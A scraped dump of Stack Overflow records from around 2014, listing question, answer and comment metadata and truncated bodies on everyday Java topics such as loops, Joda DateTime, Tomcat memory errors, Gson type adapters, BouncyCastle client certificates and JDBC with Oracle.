type: Comment

http://stackoverflow.com/a/22192964
score: 2
downvote count: 0
upvote count: 2
type: AcceptedAnswer
has body: Try this out. if (beu == fourth) { for (int i = 0; i &lt; 5; i++) { String stars = ""; for (int j = 0; j &lt; i; j++) { stars += " "; } for (int k = 5; k &gt; i; k--) { stars += "*"; } je.setText(stars); aslist.addElement(je.getText()); asterisk.setModel(aslist); } } Output ***** **** *** ** *
answers question: http://stackoverflow.com/q/22192572
accepted answer of: http://stackoverflow.com/q/22192572
type: Answer

http://stackoverflow.com/q/22221900
has comment: http://stackoverflow.com/comment/33740273
tagged with: java
type: Question
has body: hi, can anyone tell me what ":" operator does and please explain the below condition statement? for(String key:keyset) -----> what : operator does
linked to: http://stackoverflow.com/q/85190
upvote count: 0
downvote count: 9
has answer: http://stackoverflow.com/a/22221963
has comment: http://stackoverflow.com/comment/33741111
favorite count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33740249
score: -9
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33741753
has title: what are basic functionality of operator?

http://stackoverflow.com/q/22289124
has title: How to programmatically generate a client authentication certificate
type: Question
answer count: 2
has body: I want to made a web site that lets the end users generate a cert that they can authentication with. I was able to create a client authentication certificate with openssl with these commands. #Make client ssl cert. CLIENT_PASSWORD="password" CLIENT_ALIAS="client" touch ./client.cnf echo " [ req ] prompt = no distinguished_name = req_distinguished_name output_password = $CLIENT_PASSWORD [ req_distinguished_name ] localityName = "L" # L= organizationName = "O" # O= organizationalUnitName = "OU" # OU= commonName = "CN" # CN= " &gt; ./client.cnf openssl req -config client.cnf -newkey rsa:2048 -keyout client.key -out client.csr openssl ca -keyfile ca.key -cert ca.crt -out client.crt -policy policy_anything -days 3650 -batch -passin pass:$CLIENT_PASSWORD -infiles client.csr openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 -passin pass:$CLIENT_PASSWORD -passout pass:$CLIENT_PASSWORD -name $CLIENT_ALIAS I found the Bouncy Castle library v1.5, I found a few examples. I put this together, but it's not making a usable cert. private static void MakeP12() throws Exception { Security.addProvider(new BouncyCastleProvider()); String sigName = "SHA1withRSA"; KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA", "BC"); kpg.initialize(2048); KeyPair kp = kpg.genKeyPair(); X500NameBuilder x500NameBld = new X500NameBuilder(BCStyle.INSTANCE); x500NameBld.addRDN(BCStyle.C, "AU"); x500NameBld.addRDN(BCStyle.ST, "Victoria"); x500NameBld.addRDN(BCStyle.L, "Melbourne"); x500NameBld.addRDN(BCStyle.O, "The Legion of the Bouncy Castle"); X500Name subject = x500NameBld.build(); PKCS10CertificationRequestBuilder requestBuilder = new JcaPKCS10CertificationRequestBuilder(subject, kp.getPublic()); ExtensionsGenerator extGen = new ExtensionsGenerator(); extGen.addExtension(Extension.subjectAlternativeName, false, new GeneralNames(new GeneralName(GeneralName.rfc822Name, "feedback-crypto@bouncycastle.org"))); requestBuilder.addAttribute(PKCSObjectIdentifiers.pkcs_9_at_extensi…
tagged with: ssl
score: 0
has comment: http://stackoverflow.com/comment/33873476
accepted answer: http://stackoverflow.com/a/22362171
has comment: http://stackoverflow.com/comment/33864704
possible better answer: http://stackoverflow.com/a/22314639
has answer: http://stackoverflow.com/a/22314639
has answer: http://stackoverflow.com/a/22362171
has comment: http://stackoverflow.com/comment/33864561
has comment: http://stackoverflow.com/comment/33866710
has comment: http://stackoverflow.com/comment/33865292
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22205056
has title: How can I create a two-dimensional array containing ArrayLists?
tagged with: libgdx
has answer: http://stackoverflow.com/a/22205302
tagged with: arrays
has body: How can I create a two-dimensional array containing ArrayLists? Something like this : ArrayList&lt;Character&gt;[][] myArray = new ArrayList&lt;Character&gt;[][]; and would it be ok to do the following : I need to compare the position of some characters with the position of the buildings in my map. Several buildings can belong to the same tile, but one can be drawn in front of the character and the other behind him. This comparison has to be done all the time in the game, with every character. I am trying to update an array of characters each time a character is moving from one tile to another. Then the render method should look for how many characters, if any, are in a specific tile, and loop over the characters in this tile to draw them in front or behind the buildings. Something like this : //init ArrayList&lt;Character&gt;[][] arrayOfCharacters = new ArrayList&lt;Character&gt;[][]; //each tile in the map for (int y = 0; y &lt; 9; y++){ for(int x = 9-1; x &gt;= 0; x--){ if ( arrayOfCharacters[y][x].length &gt; 0 ){ for ( int i=0, i&lt; arrayOfCharacters[y][x].length; i++ ){ //compare which building is in front or behind the characters //then characterInThisTile = index of each character in arrayOfCharacters[y][x] spriteBatch.draw(characterInThisTile, x_pos, y_pos, tileWidth, tileHeight); } } } }
tagged with: arraylist
has answer: http://stackoverflow.com/a/55092114
has answer: http://stackoverflow.com/a/22205272
downvote count: 0
has answer: http://stackoverflow.com/a/22205300
favorite count: 0
answer count: 4
type: AnsweredQuestion
score: 2
upvote count: 2
tagged with: java
accepted answer: http://stackoverflow.com/a/22205300
type: Question
possible better answer: http://stackoverflow.com/a/22205302

http://stackoverflow.com/q/22175514
tagged with: datetime
has title: How to update the date value alone in a DateTime variable
tagged with: java
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33657214
score: -1
answer count: 2
has answer: http://stackoverflow.com/a/22175624
upvote count: 0
has answer: http://stackoverflow.com/a/22176594
favorite count: 0
has body: I have a variable of datatype DateTime (org.joda.time.DateTime). I need to update the date value of the variable without modifying the time? Is it possible to add days to the DateTime variable without modifying time? [Like how we do for Date (org.apache.commons.lang.time.DateUtils) variable using method DateUtils.addDays()] Thanks, Sasank
type: UnansweredQuestion

http://stackoverflow.com/q/22198729
type: Question
has answer: http://stackoverflow.com/a/22198908
accepted answer: http://stackoverflow.com/a/22198908
tagged with: tomcat
tagged with: spring-security
upvote count: 3
answer count: 2
has title: Tomcat Authentication and Spring Security
favorite count: 0
has answer: http://stackoverflow.com/a/56191196
tagged with: spring
tagged with: spring-mvc
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/56191196
downvote count: 0
tagged with: java
has body: I downloaded JavaMelody (server statistics) and applied it to my Spring project. Everything works just fine with this one - after inserting http://myAplication/monitoring I can see JavaMelody page. I decided, that this should be protected by password. So I followed documentation and added in tomcat-users.xml <?xml version='1.0' encoding='utf-8'?> <role rolename="monitoring" /> <user username="monitoring" password="monitoring" roles="monitoring" /> Then I inserted some lines into web.xml monitoring net.bull.javamelody.MonitoringFilter monitoring /* net.bull.javamelody.SessionListener BASIC Monitoring monitoring <web-resource-collection> Monitoring /monitoring </web-resource-collection> monitoring Now when I type http://myAplication/monitoring I get authentication popup - that's cool. But when I enter credentials and click ok, another authentication popup shows. Difference is, that this one is from Spring Security (I haven't seen that popup anywhere in my app). And now, I enter credentials for Spring Security (other credentials) and JavaMelody page starts to show, but ANOTHER monitoring popup shows, and then spring security, and again, and again... - until all page elements are loaded. My Spring Security conf <intercept-url pattern="/**" access="permitAll" /> <form-login login-page='/' default-target-url='/login_ok' always-use-default-target='true' authentication-failure-url="/login_failed" /> <logout logout-success-url="/" /> Is there a way to make Spring Security and Tomcat Authentication work together?

http://stackoverflow.com/q/22289859
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33932695
favorite count: 0
has title: Java set string as class name to run
has comment: http://stackoverflow.com/comment/33864254
accepted answer: http://stackoverflow.com/a/22290082
has comment: http://stackoverflow.com/comment/33864294
type: AnsweredQuestion
tagged with: reflection
score: 1
tagged with: java
upvote count: 1
has comment: http://stackoverflow.com/comment/33864273
type: Question
has body: I have a question, i have a code like below: controller.start(c.class, 1); but i want to set "c" from console. I can get/set it from args on main method . but how can i put it on c.class ? I mean how can i do that? String a = "c"; controller.start(a.class,1); Of course it doesnt work , but i hope i can tell u about my problem On php we can use $$string to set/get string to variable, but i dont know how can we do it on Java ?
has comment: http://stackoverflow.com/comment/33919645
has answer: http://stackoverflow.com/a/22290082
tagged with: class
has comment: http://stackoverflow.com/comment/33864266

http://stackoverflow.com/q/22292360
has title: java.lang.OutOfMemoryError: Java heap space in tomcat7
downvote count: 0
has answer: http://stackoverflow.com/a/22292460
favorite count: 0
score: 8
upvote count: 8
type: UnansweredQuestion
tagged with: tomcat7
answer count: 4
has answer: http://stackoverflow.com/a/22292441
tagged with: java
has body: I am getting this error in tomcat server. Exception in thread "http-bio-8080-exec-17" Exception in thread "http-bio-8080-exec-2" Exception in thread "http-bio-8080-exec-15" Exception in thread "http-bio-8080-exec-20" Exception in thread "http-bio-8080-exec-18" java.lang.OutOfMemoryError: Java heap space. I have seen MAT but how do I generate the .hprof file in my Tomcat server. Thank you.
type: Question
has answer: http://stackoverflow.com/a/25783144
has answer: http://stackoverflow.com/a/66482136

http://stackoverflow.com/comment/33830196
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22271325

http://stackoverflow.com/a/32298983
answers question: http://stackoverflow.com/q/22277254
type: Answer
downvote count: 0
score: 2
has body: Edit: I've now implemented the most fancy of my own suggestions below – using WeakReference and injecting a class with a strong reference into the ClassLoader owning the cached results: https://github.com/Legioth/reflectioncache I've been researching the same kind of issue and I've found a couple of approaches, each with their own pros and cons. I'll describe these from the point of view of a library that needs to cache its results. Strong references Even if you keep strong references to the Method instances, there are some ways of dealing with the classloader leak issue. Selective caching Only cache values from the same classloader that loaded the class containing the cache. In most server environments, this means that the library doing the caching should be in the same .war as the code that uses the library, except if OSGi is also involved. For classes that can't be cached, you could calculate the value every time or throw an exception. Verify classloader after cache hit A fragile approach that might work in some specific situations is to use e.g. the Class.getName() string as the cache key and verify that the result originates from the right classloader before using the old value. The trick here is to replace the old cache entry with a new one if the classloader has changed. Eventually all old entries will have been refreshed in this way, assuming the same keys will still be used after a redeploy, and assuming that there's always a redeploy, never just stopping to use the cache. Explicit eviction Require users of the library to keep track of when their classloaders are about to be discarded and inform the library to clear everything cached for that classloader. An example of this pattern can be seen in java.util.ResourceBundle.clearCache(ClassLoader), although the class also provides other cache management mechanisms. Timed eviction The last approach involving strong references that I've found is to remove cache entries that haven't been used for a while. Dependi…
upvote count: 2

http://stackoverflow.com/comment/33805825
type: Comment
has text: At last I got the solution for this problem.Actually I followed tutorials in which they downloaded old version of eclipse according to the old tutorials.Now I tried newest version of eclipse and its done,new software installed
comment on: http://stackoverflow.com/a/22256614
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33685924
comment on: http://stackoverflow.com/a/22191283
type: AnswerComment
has text: I did not notice it was an `interface`. My apologies.
type: Comment
score: 1

http://stackoverflow.com/q/22293137
has comment: http://stackoverflow.com/comment/33870129
has comment: http://stackoverflow.com/comment/33870398
answer count: 2
downvote count: 2
tagged with: nullpointerexception
has body: On my JUnitTest I am getting Java.Lang.NullPointerException error, what does this mean? Is my clear() method wrong? Here are my fields: private static class Node&lt;E&gt; { /** The data value. */ private E data; /** The link */ private Node&lt;E&gt; next = null; /** * Construct a node with the given data value and link * @param data - The data value * @param next - The link */ public Node(E data, Node&lt;E&gt; next) { this.data = data; this.next = next; } /** * Construct a node with the given data value * @param data - The data value */ public Node(E data) { this(data, null); } } /*&lt;/listing&gt;*/ // Data fields /** A reference to the head of the list */ private Node&lt;E&gt; head = null; /** The size of the list */ private int size = 0; This is my clear() method: /** * Removes all of the elements from this list (optional operation). * The list will be empty after this call returns * @throws UnsupportedOperationException if the clear operation is not supported by this list */ public void clear() { Node&lt;E&gt; temp = head; for(int i=0; i &lt; size; i++){ if(temp != null){ temp.data = null; temp = temp.next; } } } Here is my test method for clear(): public void testClear() { multipleItems.clear(); assertEquals("", multipleItems.toString()); } Stack trace? java.lang.NullPointerException at SingleLinkedList.toString(SingleLinkedList.java:196) at SingleLinkedListTest.testClear(SingleLinkedListTest.java:93) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44) at org.junit.internal.runners.statements.InvokeMethod.evaluate(In…
favorite count: 0
has title: Why am I getting a NullPointerException on my clear() method?
has comment: http://stackoverflow.com/comment/33869922
has answer: http://stackoverflow.com/a/22293158
has answer: http://stackoverflow.com/a/22293188
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33870274
has comment: http://stackoverflow.com/comment/33870465
has comment: http://stackoverflow.com/comment/33870165
has comment: http://stackoverflow.com/comment/33870125
upvote count: 0
has comment: http://stackoverflow.com/comment/33870056
tagged with: java
has comment: http://stackoverflow.com/comment/33870010
type: Question
has comment: http://stackoverflow.com/comment/33870001
has comment: http://stackoverflow.com/comment/33869978
linked to: http://stackoverflow.com/q/218384
has comment: http://stackoverflow.com/comment/33870698
has comment: http://stackoverflow.com/comment/33869908
score: -2
has comment: http://stackoverflow.com/comment/33870655
has comment: http://stackoverflow.com/comment/33870494

http://stackoverflow.com/comment/33778588
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22241966
has text: in case your `fr` and `br` are class-variables (really, they shouldn't) that's why you get a null in the isDuplicate(): your countlines() sort of 'exhausts' the br stream (I'm guessing here, without code that actually compiles it's kinda difficult)

http://stackoverflow.com/a/22199926
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22199733
score: 1
downvote count: 0
has body: The compiler expects that, in all possible branches of execution within your static initializer block, that ObjectName is assigned a value. In static { try { name = new ObjectName("abc"); } catch (final Exception e) { System.exit(1); } } Since ObjectName is not assigned a value in the catch-block, and since no exception is thrown, the compiler does not allow it. If there were an exception thrown in the catch block, it would be acceptable. An alternative method to implementing static initializer blocks, which I prefer, is where the block is a simple call to a private static function: static { init(); } private static init() { //do stuff }

http://stackoverflow.com/comment/81470326
type: Comment
comment on: http://stackoverflow.com/a/22298627
type: AnswerComment
has text: Hi, is there anyway to convert PEM to PKCS12(or JKS) without using openssl?
score: 0

http://stackoverflow.com/a/22212526
has comment: http://stackoverflow.com/comment/33724712
has comment: http://stackoverflow.com/comment/33724737
has comment: http://stackoverflow.com/comment/33724727
has body: Ok Beefydeadeye, The Code that is in the activity you start with is: public class MainActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //put code between here } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.activity_main, menu); return true; } } It may look a little differnt for you, This code defines the layout (Gui for the Activty) and the menu xml, if you create another activty in the project it will not start you with this code.
has comment: http://stackoverflow.com/comment/33724839
has comment: http://stackoverflow.com/comment/33724796
score: 0
answers question: http://stackoverflow.com/q/22212238
has comment: http://stackoverflow.com/comment/33724830
has comment: http://stackoverflow.com/comment/33724758
has comment: http://stackoverflow.com/comment/33724776
type: Answer
has comment: http://stackoverflow.com/comment/33724810

http://stackoverflow.com/q/22223933
has comment: http://stackoverflow.com/comment/33745078
tagged with: java
tagged with: mysql
type: Question
has comment: http://stackoverflow.com/comment/33743955
has comment: http://stackoverflow.com/comment/33743985
has comment: http://stackoverflow.com/comment/33743786
has comment: http://stackoverflow.com/comment/33743881
tagged with: servlets
score: 0
has answer: http://stackoverflow.com/a/22224128
has comment: http://stackoverflow.com/comment/33743744
answer count: 1
tagged with: jsp
has body: Resume uploading/downloading in java i want to store my resumes inside mysql database and then download in my system. resume size is upto 5 mb. how to do it?? currently i i saved path in database and resume in a folder.
has comment: http://stackoverflow.com/comment/33744085
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/9430008
has title: how to store whole resume inside mysql database in servlet/jsp?

http://stackoverflow.com/q/22279280
answer count: 3
has title: The easiest way to format string like 1 000 000
downvote count: 1
has answer: http://stackoverflow.com/a/22279346
upvote count: 4
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/22279346
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/22279360
possible better answer: http://stackoverflow.com/a/22279286
type: Question
has answer: http://stackoverflow.com/a/22279286
tagged with: android
has body: In my android program I display big numbers. To make them easy-reading I want to format these numbers not like 1000000 but like 1 000 000. Which is the easiest way to format strings like this?
tagged with: java

http://stackoverflow.com/q/22277938
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33843015
favorite count: 0
has answer: http://stackoverflow.com/a/22278091
accepted answer: http://stackoverflow.com/a/22278091
tagged with: reference
has comment: http://stackoverflow.com/comment/33842769
has comment: http://stackoverflow.com/comment/33842706
score: 2
type: AnsweredQuestion
tagged with: java
has body: I'm trying to get a grasp on a couple concepts. Lets imagine you have a JFrame and in that JFrame there are two panels, we'll say left_half and right_half. If I click a button in right_half, I want something to change in left_half. The issue is that the right half doesn't know the left half exists. So, you could tell the Frame, but technically neither panel knows the Frame exists either, right? The Frame can change the panels, but panels can't change the Frame, or so it seems to me. So, I pass a reference to the Frame into the panels. Now the right_half can call Frame.setVariable(data) and the Frame can, from that same method, say left_half.setStuff(data). That just seems wrong to me and I have been looking for a way to do it without passing references up and down the hierarchy. Next, someone says "That's why Observable exists!!" Cool, I think to myself. I then found many confusing examples of how to use Observable that didn't help at all. Finally I see this one, which makes sense. http://www.javaquizplayer.com/blogposts/blogpost7.html However, it has this: "observable.addObserver(mainWindow);" mainWindow is the equivalent of Frame in my example above, and it had to pass a reference to attach the Obserable to! So even with Observable, I have to pass references down the hierarchy? It just seems wrong. If it's not wrong, that's fine... I can do it this way. However, my question once all that back-story is finished is simply this: how are you supposed to pass data between two panels? I'm okay with abstract answers if they're in plain language, I'm okay with code samples if they're short and easy to follow. I'm not a pro Java coder, I can't just search through 29 API pages and 1400 lines of code and just suddenly understand how it works... yet. I'll get there.
has title: Java Observable/Observer vs just passing references
tagged with: observable
type: Question
upvote count: 2

http://stackoverflow.com/a/22310575
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22310323
score: 1
downvote count: 0
has body: Your code contained typos, missing variable declarations and did not match all naming conventions. If Java encounters compilation problems, than it throws an Error - not the expected Exception, that you were looking for. I fixed the code, here you are: package snippet; import org.junit.Test; public class Snippet { @Test(expected = IllegalArgumentException.class) public void theNullTest() { Player player1 = new Player(); Player player2 = null; player1.setPoints(4); player1.compareTo(player2); } } class Player { private int points; public int compareTo(Player other) { if (other == null) throw new IllegalArgumentException("Cannot compare a player to null"); if (points &lt; other.points) return -1; if (points &gt; other.points) return 1; return 0; } public void setPoints(int points) { this.points = points; } }
has comment: http://stackoverflow.com/comment/33901534

http://stackoverflow.com/a/22279360
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/22279280
type: Answer
has body: You can use String.format like so, long num = 1000000; System.out.println(String.format("%,d", num).replace(",", " ")); Output is 1 000 000
score: 2

http://stackoverflow.com/a/22307855
has body: When you register a regular type adapter (GsonBuilder.registerTypeAdapter), it only generates a type adapter for THAT specific class. For example: public abstract class Animal { abstract void speak(); } public class Dog extends Animal { private final String speech = "woof"; public void speak() { System.out.println(speech); } } // in some gson related method gsonBuilder.registerTypeAdapter(Animal.class, myTypeAdapterObject); Gson g = gsonBuilder.create(); Dog dog = new Dog(); System.out.println(g.toJson(dog)); If you did this, then Gson will not use your myTypeAdapterObject, it will use the default type adapter for Object. So, how can you make a type adapter object that can convert ANY Animal subclass to Json? Create a TypeAdapterFactory! The factory can match using the generic type and the TypeToken class. You should return null if your TypeAdapterFactory doesn't know how to handle an object of that type. The other thing TypeAdapterFactory can be used for is that you can't CHAIN adapters any other way. By default, Gson doesn't pass your Gson instance into the read or write methods of TypeAdapter. So if you have an object like: public class MyOuterClass { private MyInnerClass inner; } There is no way to write your TypeAdapter&lt;MyOuterClass&gt; that knows how to use your TypeAdapter&lt;MyInnerClass&gt; without using the TypeAdapterFactory. The TypeAdapterFactory.create method DOES pass the Gson instance, which allows you to teach your TypeAdapter&lt;MyOuterClass&gt; how to serialize the MyInnerClass field. Generally, here is a good standard way to begin to write an implementation of a TypeAdapterFactory: public enum FooAdapterFactory implements TypeAdapterFactory { INSTANCE; // Josh Bloch's Enum singleton pattern @SuppressWarnings("unchecked") @Override public &lt;T&gt; TypeAdapter&lt;T&gt; create(Gson gson, TypeToken&lt;T&gt; type) { if (!Foo.class.isAssignableFrom(type.getRawType())) return null; // Note: You have access to the `gson` object here; you can access o…
answers question: http://stackoverflow.com/q/22307382
upvote count: 49
has comment: http://stackoverflow.com/comment/60539961
has comment: http://stackoverflow.com/comment/73738420
has comment: http://stackoverflow.com/comment/33896543
type: Answer
has comment: http://stackoverflow.com/comment/60538081
has comment: http://stackoverflow.com/comment/33897220
has comment: http://stackoverflow.com/comment/33897004
has comment: http://stackoverflow.com/comment/33897307
downvote count: 0
has comment: http://stackoverflow.com/comment/33897344
score: 49
has comment: http://stackoverflow.com/comment/97215703

http://stackoverflow.com/a/22297075
type: Answer
answers question: http://stackoverflow.com/q/22296805
score: 2
has body: Touch down + touch up of the same point in a short time is a onClick(Actually onClick event in the android source code is really made in this way). Because the onTouchEvent(in activity) is made for you to check touch event of the whole screen.But onClick is designed to check the click event on a view(not the whole screen).Touch event is the original event,click isn´t. If you want to check whether your screen is clicked ,just use the onClick method of your layout(give it an id myLayout). LinearLayout layout = findViewById(R.id.myLayout); layout.setOnClickListener(xxx);
downvote count: 0
upvote count: 2

http://stackoverflow.com/q/22178572
tagged with: heroku
linked to: http://stackoverflow.com/q/12429687
tagged with: java
upvote count: 2
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22179270
accepted answer: http://stackoverflow.com/a/22179270
has title: Best way to organise multiple endpoints within a single app
type: AnsweredQuestion
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33662777
type: Question
has body: I am new to Heroku and I have a question on how to best organise my JAVA app to run on the platform. The app I am developing will expose 3 REST endpoints. In order to properly scale the app I am thinking about running each endpoint on a dedicated dyno. The logic behind each endpoint isn't very complex and I am planning to keep it within the web dynos that run the endpoints. At the moment I have a single app with all 3 endpoints running on the same web dyno. What's the best way to split my app so that I can have a process type per endpoint? Should I create 3 different apps (one per process type) or can I define multiple process types (JAVA commands?) within a single application? What would my procfile look like?

http://stackoverflow.com/comment/33671997
type: Comment
has text: actually, there are no examples provided in the duplicate link, I probably got the message faster here than reading that.
comment on: http://stackoverflow.com/a/22182737
score: 0
type: AnswerComment

http://stackoverflow.com/a/22260619
has body: I think you meant to do while (it.hasNext()) instead of for (MediaItem mi: items) If you note the documentation, you'll see that you can use hasNext() to check if there are any items in the Collection after the one to which the Iterator currently points. Then, use the fact that next() returns the element to do your comparison, and be sure to actually perform a comparison by using an if block. MediaItem mi = it.next(); if (mi.equals(title)) { // do whatever }
type: Answer
answers question: http://stackoverflow.com/q/22260564
score: 0

http://stackoverflow.com/q/22193792
has title: Error transferring file: Connection timed out: connect in maven.
has answer: http://stackoverflow.com/a/22194183
accepted answer: http://stackoverflow.com/a/22194183
tagged with: testng
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33690308
tagged with: java
has body: I have uploaded "reporty-ng" jars to resolve the plugin dependencies on my bit bucket account, but i get this Error when i run mvn clean . There is no setting has been done in "seetings.xml" C:\Users\Devraj\workspace\TestProject&gt;mvn clean [INFO] Scanning for projects... [INFO] ------------------------------------------------------------------------ [INFO] Building Unnamed - TestProject:TestProject:jar:0.0.1-SNAPSHOT [INFO] task-segment: [clean] [INFO] ------------------------------------------------------------------------ Downloading: https://bitbucket.org/Devraj/reporty-ng/reporty-ng/1.2/reporty-ng- 1.2.pom [WARNING] Unable to get resource 'reporty-ng:reporty-ng:pom:1.2' from repository reporty-ng (https://bitbucket.org/Devraj): Error transferring file: Co nnection timed out: connect Downloading: http://repo1.maven.org/maven2/reporty-ng/reporty-ng/1.2/reporty-ng-1.2.pom [INFO] Unable to find resource 'reporty-ng:reporty-ng:pom:1.2' in repository central (http://repo1.maven.org/maven2) Downloading: http://repo1.maven.org/maven2/reporty-ng/reporty-ng/1.2/reporty-ng-1.2.pom [INFO] Unable to find resource 'reporty-ng:reporty-ng:pom:1.2' in repository central (http://repo1.maven.org/maven2) [INFO] ------------------------------------------------------------------------ [ERROR] BUILD ERROR [INFO] ------------------------------------------------------------------------ [INFO] Error building POM (may not be this project's POM). Project ID: reporty-ng:reporty-ng Reason: POM 'reporty-ng:reporty-ng' not found in repository: Unable to download the artifact from any repository reporty-ng:reporty-ng:pom:1.2 from the specified remote repositories: central (http://repo1.maven.org/maven2), reporty-ng (https://bitbucket.org/Devraj) for project reporty-ng:reporty-ng [INFO] ------------------------------------------------------------------------ [INFO] For more information, run Maven with the -e switch [INFO] ------------------------------------------------------------------------…
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33690351
tagged with: xslt
has comment: http://stackoverflow.com/comment/33690483
has comment: http://stackoverflow.com/comment/33690460
has comment: http://stackoverflow.com/comment/33690543
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33690667
linked to: http://stackoverflow.com/q/18859138
tagged with: maven

http://stackoverflow.com/a/35573100
score: 5
upvote count: 5
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22319277
has body: Though this is old post, I'd like to share the solution I got. It may help someone. It worked like charm for IE 11, Chrome 48 and Fire-Fox 38. Here is how I set the content-disposition in my java code- final String encodedFileName = encodeFilename(fileNameToEncode); response.setHeader("Content-Disposition", "attachment; filename*=UTF-8''" + encodedFileName); private String encodeFilename(final String filename) { try{ URI uri = new URI(null, null, filename, null); String encodedName = uri.toASCIIString(); return encodedName; } catch(URISyntaxException ex){ return filename; } } Ref the RFC to see the use of filename*=utf-8''

http://stackoverflow.com/comment/33650078
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22170735
has text: Do you see an exception or you just don't see "TestJar.log" file in a folder? If the second one, make sure you are looking at the right folder, since you don't specify "full" file name, and the "current" folder depends on how you run the application. Or try to specify full name of the file.
type: Comment

http://stackoverflow.com/a/22171630
upvote count: 5
type: Answer
downvote count: 0
has body: Also initialize rgsexo RadioGroup instance before calling getCheckedRadioButtonId method as: rgsexo = (RadioGroup)findViewById(R.id.rgSexo);
score: 5
accepted answer of: http://stackoverflow.com/q/22171573
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22171573

http://stackoverflow.com/q/22307679
favorite count: 0
tagged with: sql
tagged with: jdbc
has title: Connecting to Oracle with JDBC causes queries to return zero rows.
possible better answer: http://stackoverflow.com/a/40615272
has answer: http://stackoverflow.com/a/40615272
accepted answer: http://stackoverflow.com/a/22308150
upvote count: 1
has comment: http://stackoverflow.com/comment/33896012
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33896312
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33896054
type: Question
answer count: 2
has body: So I have been playing around with querying databases using the standard Statement s = connection.createStatement(); ResultSet rs = s.executQuery(queryString); ResultSetMetadata rsmd = rs.getMetaData(); while(rs.next)){ String code = ""; String value = ""; for(int i = 1; i &lt;= rsmd.getColumnCount(); i++){ Object obj = rs.getObject(i); if(i == 1){ code = obj.toString(): } else{ label = obj.toString(); } } //Store code and labels in map } ...go on to close statement and move on. I am trying to select two columns from a table in each instance. For the most part this works well. When working with MySql &amp; Microsoft Sql databases I get a result set full of data in the table. However when I try to do this with an Oracle database I get an empty result set. I have tested my query string in the SQL Developer application and it works fine, returns my data. But the result set doesnt contain anything. The resultSet metadata says that it has two columns though. Is there anything I need to do when interacting with an Oracle Database that is different from the other two? Thanks.
downvote count: 0
has answer: http://stackoverflow.com/a/22308150

http://stackoverflow.com/a/22301498
score: 9
has body: Use @Primary and @Resource when you have multiple implementation classes. @Primary @Component("endeca") public class EndecaAdapter implements Adapter { List service() { // My bussiness logic } } @Component("solar") public class SolarAdapter implements Adapter { List service() { // My bussiness logic } } and inject like: @Resource("solar") Adapter solarAdapter;
has comment: http://stackoverflow.com/comment/37676539
type: Answer
answers question: http://stackoverflow.com/q/22300102
upvote count: 10
downvote count: 1

http://stackoverflow.com/comment/33697814
type: Comment
has text: Oh! Thank you! ... if only Eclipse had come back with a warning about that.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22198120

http://stackoverflow.com/comment/33667723
type: Comment
type: QuestionComment
has text: did your read official Oracles tutorials "How to use Tables", Event Dispatch Thread, SwingWorker, never to create Swing JComponents ot its model in worker thread (doInBackground())
comment on: http://stackoverflow.com/q/22180425
score: 0

http://stackoverflow.com/a/22253414
type: AcceptedAnswer
downvote count: 0
has body: Your server code must read() into an int and check whether that's -1 before casting to a char. You're ignoring end-of-file from the stream and appending -1 to your string builder for ever. However: I'd recommend using an existing HTTP server framework in your server to read and parse requests, rather than writing your own. (Or at least use an off-the-shelf HTTP request parser / response serialiser if you want to use your own socket code.) Both your client and server code ignore character encoding. You need to convert bytes to/from chars using a Charset instance. Use HttpURLConnection in your client, rather than a simple TCP socket. Better, use something like https://hc.apache.org/ for your HTTP functionality.
type: Answer
has comment: http://stackoverflow.com/comment/33800640
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22253220
answers question: http://stackoverflow.com/q/22253220
score: 1
has comment: http://stackoverflow.com/comment/33800155
has comment: http://stackoverflow.com/comment/33800586
has comment: http://stackoverflow.com/comment/33800426

http://stackoverflow.com/a/22592418
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/22312332
has body: He is using Windows 7, brew is for OSX. To install ANT for windows try this: https://code.google.com/p/winant/
upvote count: 3
type: Answer

http://stackoverflow.com/comment/33718588
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22203999
score: 0
has text: The idea was not to start a troll debate, but to investigate what developers are doing.

http://stackoverflow.com/a/22221318
